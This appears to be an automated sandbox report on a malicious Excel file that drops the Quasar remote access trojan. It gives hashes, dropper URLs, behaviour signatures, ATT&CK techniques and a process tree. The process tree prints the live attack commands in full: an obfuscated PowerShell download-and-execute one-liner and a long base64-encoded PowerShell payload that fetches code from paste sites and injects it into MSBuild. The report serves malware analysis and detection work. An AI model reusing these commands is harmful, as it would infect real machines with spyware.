quasar | e3e9ec3c78971e8899852421651eafa00ab2cc04a2f11022bde16b4c6628a771

General

Target

QQWUO898519.xls
Size

39KB
MD5

69544579d4a9498c3cd2b9c9aea28ef2
SHA1

a306c59cd211d8b7bd85e47106d35aba7958c803
SHA256

e3e9ec3c78971e8899852421651eafa00ab2cc04a2f11022bde16b4c6628a771
SHA512

9eea4efcaf9ac62c01d29adf37e618d16b4a9b8e53e70ca53d37cb7c7c5956e73f6e0043b2b416146124724f7fce64398e27d2f6feea4bbab7f5d311c21a001e

Score

10^/10

quasar spyware trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://paste.ee/r/O1pw3

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

httPs://z.zz.ht/k5BuP.txt

ps1.dropper

httPs://paste.ee/r/LQdRk

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1012	508	powershell.exe	EXCEL.EXE

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Blacklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exe

flow pid process

22 1012 powershell.exe
23 1012 powershell.exe
25 1612 powershell.exe
30 1612 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

35 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1612 set thread context of 908 1612 powershell.exe MSBuild.exe

flow	pid	process
22	1012	powershell.exe
23	1012	powershell.exe
25	1612	powershell.exe
30	1612	powershell.exe

flow	ioc
35	ip-api.com

description	pid	process	target process
PID 1612 set thread context of 908	1612	powershell.exe	MSBuild.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

508 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

1012 powershell.exe
1012 powershell.exe
1012 powershell.exe
1612 powershell.exe
1612 powershell.exe
1612 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exe

description pid process

Token: SeDebugPrivilege 1012 powershell.exe
Token: SeDebugPrivilege 1612 powershell.exe
Token: SeDebugPrivilege 908 MSBuild.exe

pid	process
1012	powershell.exe
1012	powershell.exe
1012	powershell.exe
1612	powershell.exe
1612	powershell.exe
1612	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1012	powershell.exe
Token: SeDebugPrivilege	1612	powershell.exe
Token: SeDebugPrivilege	908	MSBuild.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE
508	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

EXCEL.EXEpowershell.exepowershell.exe

description	pid	process	target process
PID 508 wrote to memory of 1012	508	EXCEL.EXE	powershell.exe
PID 508 wrote to memory of 1012	508	EXCEL.EXE	powershell.exe
PID 1012 wrote to memory of 1612	1012	powershell.exe	powershell.exe
PID 1012 wrote to memory of 1612	1012	powershell.exe	powershell.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe
PID 1612 wrote to memory of 908	1612	powershell.exe	MSBuild.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\QQWUO898519.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command IEX (new`-OB`jeCT('Net.WebClient')).'DoWnloAdsTrInG'('ht'+'tp://paste.ee/r/O1pw3')
2⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwB6AC4AegB6AC4AaAB0AC8AawA1AEIAdQBQAC4AdAB4AHQAJwApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIAAiADQANAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAqACIALAAgACIANAA4ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACMAIgAsACAAIgA3ADgAIgApAHwASQBFAFgAOwBbAEIAeQB0AGUAWwBdAF0AJABmAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJAByAGUAZwAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnAHMAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAEwAUQBkAFIAawAnACkALgByAGUAcABsAGEAYwBlACgAJwAkACQAJwAsACcAMAB4ACcAKQB8AEkARQBYADsAWwBZAC4ATQBdADoAOgBRACgAJwBNAFMAQgB1AGkAbABkAC4AZQB4AGUAJwAsACQAZgApAA==
3⤵
- Blacklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1612

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:908

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/508-0-0x00007FF896600000-0x00007FF896C37000-memory.dmp

Filesize
6.2MB

Download
memory/908-16-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

Filesize
4KB

Download
memory/908-15-0x0000000005650000-0x0000000005651000-memory.dmp

Filesize
4KB

Download
memory/908-20-0x0000000006230000-0x0000000006231000-memory.dmp

Filesize
4KB

Download
memory/908-19-0x0000000006080000-0x0000000006081000-memory.dmp

Filesize
4KB

Download
memory/908-11-0x000000000045819E-mapping.dmp

Download
memory/908-18-0x0000000005C90000-0x0000000005C91000-memory.dmp

Filesize
4KB

Download
memory/908-17-0x0000000005070000-0x0000000005071000-memory.dmp

Filesize
4KB

Download
memory/908-10-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/908-12-0x00000000739E0000-0x00000000740CE000-memory.dmp

Filesize
6.9MB

Download
memory/1012-1-0x0000000000000000-mapping.dmp

Download
memory/1012-2-0x00007FF88E0D0000-0x00007FF88EABC000-memory.dmp

Filesize
9.9MB

Download
memory/1012-4-0x000001B5734F0000-0x000001B5734F1000-memory.dmp

Filesize
4KB

Download
memory/1012-3-0x000001B573340000-0x000001B573341000-memory.dmp

Filesize
4KB

Download
memory/1612-5-0x0000000000000000-mapping.dmp

Download
memory/1612-9-0x0000014B4BA00000-0x0000014B4BA21000-memory.dmp

Filesize
132KB

Download
memory/1612-6-0x00007FF88E0D0000-0x00007FF88EABC000-memory.dmp

Filesize
9.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads